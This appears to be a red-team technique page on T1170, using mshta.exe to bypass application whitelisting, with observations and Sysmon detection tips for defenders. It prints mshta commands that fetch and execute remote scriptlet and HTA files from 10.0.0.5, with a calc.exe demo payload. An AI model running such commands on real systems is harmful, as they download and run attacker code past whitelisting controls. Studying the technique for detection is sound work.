> For the complete documentation index, see [llms.txt](https://docs.iredteam.cn/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.iredteam.cn/offensive-security/code-execution/t1170-mshta-code-execution.md). # T1170: MSHTA MSHTA code execution - bypass application whitelisting. ## Execution Writing a scriptlet file that will launch calc.exe when invoked: {% code title="" %} ```markup ``` {% endcode %} Invoking the scriptlet file hosted remotely: {% code title="attacker\@victim" %} ```csharp # from powershell /cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close(); ``` {% endcode %} ## Observations As expected, calc.exe is spawned by mshta.exe. Worth noting that mhsta and cmd exit almost immediately after invoking the calc.exe: ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2F4f84d2755dc072ba12fde21cdeae6a46ddfed078.png?generation=1613807642672723\&alt=media) As a defender, look at sysmon logs for mshta establishing network connections: ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2F2256128f8b40ac0f459a73d97eb78d0532ade3dc.png?generation=1613807642657816\&alt=media) Also, suspicious commandlines: ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2F12c779910e906d972a4fc3926747ef4465e6d1e1.png?generation=1613807642895128\&alt=media) ## Bonus The hta file can be invoked like so: ```csharp mshta.exe http://10.0.0.5/m.hta ``` ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2F98db5bb7842bf3898f0165a7381becdb8e86e5d8.png?generation=1613807642745420\&alt=media) or by navigating to the file itself, launching it and clicking run: ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2F1ed9123fe74b5bf853e038490923de66d290c592.png?generation=1613807642738844\&alt=media) {% code title="" %} ```markup Nothing to see here.. ``` {% endcode %} ## References {% embed url="" %}